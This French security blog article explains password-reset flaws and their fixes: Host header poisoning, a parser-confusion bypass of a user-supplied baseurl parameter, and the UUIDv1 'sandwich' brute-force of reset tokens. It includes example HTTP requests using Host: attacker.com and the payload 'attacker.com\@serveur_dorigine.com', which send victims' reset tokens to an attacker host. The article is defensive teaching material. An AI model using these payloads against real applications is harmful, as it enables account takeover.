Réinitialisation de mots de passe : exploitations et bonnes pratiques sécurité

Les mots de passe restent le moyen le plus répandu pour authentifier un utilisateur. Cependant, mettre en place un système de gestion des mots de passe à la fois simple et suffisamment sécurisé peut parfois s’avérer délicat.

En effet, la fonctionnalité de réinitialisation de mot de passe est une cible intéressante pour un attaquant, puisque mal implémentée, elle peut faciliter le vol de comptes utilisateurs.

Nous verrons dans cet article les erreurs courantes que l’on peut retrouver sur ce type de fonctionnalité, les exploitations possibles ainsi que les moyens de se prémunir. Mais avant cela, voyons comment fonctionne généralement la réinitialisation de mots de passe.

Comment fonctionne la réinitialisation de mots de passe ?

La fonctionnalité de réinitialisation de mots de passe est mécanisme essentiel dans la gestion des comptes utilisateurs sur des plateformes web. Elle permet à un utilisateur de récupérer l’accès à son compte lorsqu’il a oublié son mot de passe. La plupart du temps, cette fonctionnalité est accessible via un lien ou un bouton « Mot de passe oublié » sur la page d’authentification.

Lorsqu’un utilisateur demande à réinitialiser son mot de passe, le système génère généralement un lien unique qui est envoyé à l’adresse email associée au compte. Ce lien conduit l’utilisateur à une page où il peut saisir un nouveau mot de passe. Et pour des raisons de sécurité, ce lien est souvent valide pour une période limitée.

Du côté des développeurs, l’implémentation standard consiste à s’assurer que le processus est sécurisé. La bonne pratique est d’utiliser des tokens de réinitialisation, qui sont des chaînes de caractères uniques et souvent chiffrés pour s’assurer que la demande de réinitialisation est légitime.

De plus, des mesures sont souvent prises pour empêcher les attaques brute force ou le spam de demande de réinitialisation, telles que la limitation du nombre de demandes autorisées ou l’implémentation de captchas.

Exploitations de vulnérabilités liées à la réinitialisation de mots de passe

Le « Host Header Poisoning » est une technique d’attaque exploitant la vulnérabilité d’une application web qui se fie à la valeur de l’en-tête « Host » de la requête HTTP.

Normalement, cet en-tête indique le domaine ciblé par la requête, mais parfois, il peut être manipulé par un attaquant. Cette attaque pourrait permettre de détourner l’adresse email de réinitialisation pour l’envoyer à un serveur qu’un attaquant contrôle mais aussi modifier le domaine de base du lien de réinitialisation dans l’email, permettant de rediriger la victime vers un site tiers, pour effectuer une attaque de phishing et récupérer les identifiants de connexion mais aussi lui voler son jeton de réinitialisation.

Une autre exploitation pourrait être le fait que certaines ressources JavaScript du serveur se basent sur le Host header. Si un attaquant est en mesure de modifier sa valeur, alors les liens vers les fichiers JavaScript seront modifiés et permettraient de charger des ressources tierces.

Exemple d’exploitation

Une requête de réinitialisation de mot de passe est effectuée en ciblant l’adresse email de la cible.

Si l’application génère un lien de réinitialisation en utilisant l’en-tête Host sans validation, l’attaquant pourrait rediriger l’email vers un serveur malveillant.

Ainsi, il sera en mesure de voler le compte.

POST /forgot-password HTTP/2
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 191
Te: trailers
Connection: close
csrf=qxoCDf28hFqnF2xP6HtGiIhnDFHmryPm&username=carlos

Réponse :

GET /forgot-password?temp-forgot-password-token=okxkbxb8qpq351vx7nsvrzh1rpq0exd7 HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Length: 191
Te: trailers
Connection: close

Comment prévenir les vulnérabilités de type Host Header Poisoning ?

Pour remédier à la vulnérabilité Host Header Poisoning, particulièrement dans les processus de réinitialisation de mot de passe basés sur l’en-tête Host, il est primordial d’adopter une approche multicouche de sécurité.

La première étape consiste à implémenter une validation stricte de l’en-tête Host. Cette mesure implique de configurer l’application pour n’accepter que des en-têtes Host connus et valides, en comparant l’en-tête Host de chaque requête avec une liste blanche d’hôtes approuvés. Cela aide à s’assurer que l’application ne répondra qu’aux requêtes provenant de domaines légitimes.

Pour les liens de réinitialisation de mots de passe eux-mêmes, il est important d’utiliser des tokens de réinitialisation sécurisés et uniques. Ces tokens devraient être conçus pour être valides seulement pour une courte période et associés de manière indiscutable à l’utilisateur concerné. Même si un attaquant intercepte un lien de réinitialisation, l’expiration rapide du token et son unicité réduisent le risque d’exploitation.

Dans le contexte de la sécurité des tokens, notamment ceux utilisés dans les procédures de réinitialisation de mot de passe, l’absence d’un délai d’expiration peut constituer une faille majeure. Un token sans expiration peut potentiellement fuiter et être réutilisé par un attaquant, compromettant ainsi la sécurité des comptes utilisateurs. Les mécanismes par lesquels un token peut fuiter sont variés.

Par exemple, les services d’archivage web, tels que WebArchive, peuvent involontairement ou volontairement enregistrer des versions de pages web contenant des tokens non expirés. En outre, l’en-tête « referer » dans les requêtes HTTP peut accidentellement divulguer le token à des sites tiers, surtout si ces derniers sont compromis.

Face à ces vulnérabilités, l’implémentation d’un délai d’expiration pour les tokens est une mesure de sécurité cruciale. Cela est particulièrement pertinent dans le contexte où même des vecteurs de fuite moins évidents, comme l’archivage web, peuvent poser un risque réel. Certes, la fuite de token via l’en-tête « referer » peut être exploitée presque instantanément, rendant l’expiration moins efficace contre ce type d’attaque spécifique. Cependant, un délai d’expiration réduit considérablement la fenêtre d’opportunité pour un attaquant, particulièrement dans les scénarios d’exploitation plus lents.

Pour les jetons de réinitialisation de mot de passe, il est conseillé d’établir un délai d’expiration ne dépassant pas une heure après leur génération. Une période encore plus courte, comme 20 minutes, est souvent recommandée pour minimiser les risques. En outre, il est vital que le jeton soit conçu pour être utilisé une seule fois. Après utilisation, le token doit être invalidé, empêchant ainsi toute tentative de réutilisation par un attaquant. Cette unicité garantit que même si un token est intercepté, il ne peut pas être employé pour mener des attaques répétées ou pour accéder à un compte après que le propriétaire légitime ait déjà utilisé le token pour modifier son mot de passe.

Certaines applications se basent sur des paramètres contrôlables par l’utilisateur afin de construire les liens de réinitialisation de mot de passe.

Cette implémentation peut permettre à des utilisateurs malveillants de détourner les liens de réinitialisation, leur permettant ainsi de voler les comptes d’utilisateurs.

Nous allons voir un cas d’exploitation où il nous a été possible d’empoisonner l’hôte d’un lien de réinitialisation via un paramètre JSON de la requête.

Exploitation

Lors d’un test d’intrusion en boîte blanche, notre équipe a découvert une application générant le lien de réinitialisation de mot de passe en utilisant un paramètre de la requête susceptible d’être manipulé par l’utilisateur.

La requête suivante était envoyée au serveur : 

POST /reset-password HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 191
Te: trailers
Connection: close
{"email":"[email protected]","baseurl":"redacted.com"}

On remarque un paramètre « baseurl » qui va servir à construire l’url de réinitialisation de mot de passe. La première chose qui peut venir à l’esprit, est de changer la valeur du paramètre « baseurl » avec un nom de domaine contrôlable par l’attaquant afin que le lien pointe vers le mauvais domaine.

Cependant, lors de l’audit de sécurité, nous nous sommes rendu compte que le serveur n’acceptait pas la requête avec un domaine tierce et qu’une validation se fait coté serveur.

En inspectant le code source de l’application (white box conditions), nous avons constaté que la validation reposait sur l’utilisation de la fonction urlparse du module urllib.parse.

L’application vérifiait que le nom de domaine correspondait bien à celui de l’application en se basant sur l’attribut hostname de la fonction urlparse.

Après quelques recherches, nous sommes tombés sur un rapport de sécurité qui indique qu’il est possible de confondre la validation du parser grâce au payload suivant :

attacker.com\@serveur_dorigine.com

Ainsi, il suffit à un attaquant d’effectuer une requête de réinitialisation avec la requête suivante :

POST /reset-password HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 191
Te: trailers
Connection: close
{"email":"[email protected]","baseurl":"attacker.com\@serveur_dorigine.com"}

La victime va recevoir l’email suivant :

Une fois qu’elle cliquera sur le lien, son token sera envoyé au serveur de l’attaquant qu’il pourra réutiliser pour voler son compte.

Correction de la vulnérabilité

Il est essentiel de ne pas se fier uniquement à la valeur de l’en-tête « Host » ainsi qu’à des paramètres controlable par un utilisateur pour générer des liens de réinitialisation de mot de passe dans les applications web pour plusieurs raisons importantes liées à la sécurité et à l’intégrité de l’application.

À la place, l’application devrait utiliser une URL de base préconfigurée et vérifiée côté serveur (whitelist), garantissant que le lien de réinitialisation mène toujours à un domaine légitime. Ensuite, il est important d’implémenter un système de tokens de réinitialisation à usage unique, qui expirent après un délai court. Ces tokens doivent être cryptographiquement sécurisés et stockés de manière sécurisée.

Lors d’une demande de réinitialisation de mot de passe, un jeton aléatoire est généré afin de vérifier l’intégrité de l’utilisateur qui l’utilise. Ce jeton doit être assez complexe car, si un attaquant est capable de comprendre le mécanisme de génération des tokens et de les prévoir, il pourrait générer d’autres tokens valide et ainsi voler des comptes utilisateurs.

Il existe de nombreux scénarios à considérer, nous utiliserons le cas des UUIDv1 pour illustrer nos propos.

Un UUIDv1 est une version spécifique d’un identifiant généré en utilisant l’heure actuelle et l’adresse MAC de l’ordinateur qui le produit. Les UUIDv1 sont générés en combinant un timestamp, l’adresse MAC de la machine, et un identifiant unique.

Voici un exemple :

Exploitation

L’attaque dite « Sandwich » cible les UUIDv1 en exploitant leur caractère prédictible. Lorsque deux UUIDv1 sont générés sur une courte période, seuls les quatre premiers octets dédiés au timestamp diffèrent.

La suite de l’attaque consiste à reconstruire l’UUID inconnu en procédant à une attaque par force brute sur une partie du timestamp.

Prenons l’exemple d’un cas ou un attaquant chercherait à voler le compte d’un utilisateur ayant l’email « [email protected] ».

Tout d’abord, un attaquant va créer un compte utilisateur sur la plateforme cible. Ensuite, il va initier une demande de réinitialisation de mot de passe dans l’ordre suivant :

L’objectif est de minimiser le délai entre les trois requêtes pour réduire la charge du bruteforce qui sera effectué par la suite. Pour se faire, la fonctionnalité du logiciel Burp Suite « send group » peut être utilisée.

A la suite de ces demandes, l’attaquant va recevoir les UUID suivants :

UUID 1: 6b894ab2-845d-11ee-8227-00155d4e2cec
UUID 3: 6b89a4c6-845d-11ee-8227-00155d4e2cec

On remarque assez rapidement que seulement quelques caractères différents des deux identifiants (la partie timestamp).

Il suffit ensuite de faire la différence entre les timestamp afin d’avoir une estimation du nombre de tentatives nécessaire pour retrouver le token de la victime, qui se situe entre les deux.

6b89a4c6 - 6b894ab2 = 23060

On aura donc besoin d’un peu plus de 23 000 tentatives pour trouver le token de la victime. La fonctionnalité Intruder du logiciel Burp Suite peut être utilisé pour tester toutes les possibilités et déterminer la valeur du jeton valide de la victime.

A la fin du brute force, on détermine que l’uuid 6b897a32-845d-11ee-8227-00155d4e2cec est valide. Grâce à ce jeton, l’attaquant est en mesure de réinitialiser le mot de passe de la victime et de voler son compte.

Cette attaque n’est pas seulement efficace pour les UUIDv1 mais pour toutes les générations de tokens qui utilise le timestamp du serveur comme aléatoire lors de la génération.

Correction

Une approche préconisée consiste à privilégier l’utilisation de tokens robustes tels que les UUIDv4. Cette version d’UUID génère des identifiants uniques de manière plus aléatoire, offrant ainsi une entropie plus élevée comparée à d’autres méthodes.

Les jetons de réinitialisations de mot de passes ne doivent pas pouvoir être déterminés. Il est alors important de s’assurer qu’ils possèdent une valeur assez longue mais surtout aléatoire à chaque génération afin d’éviter de pouvoir déterminer d’autres jeton.

Auteur : Yacine DJABER – Pentester @Vaadata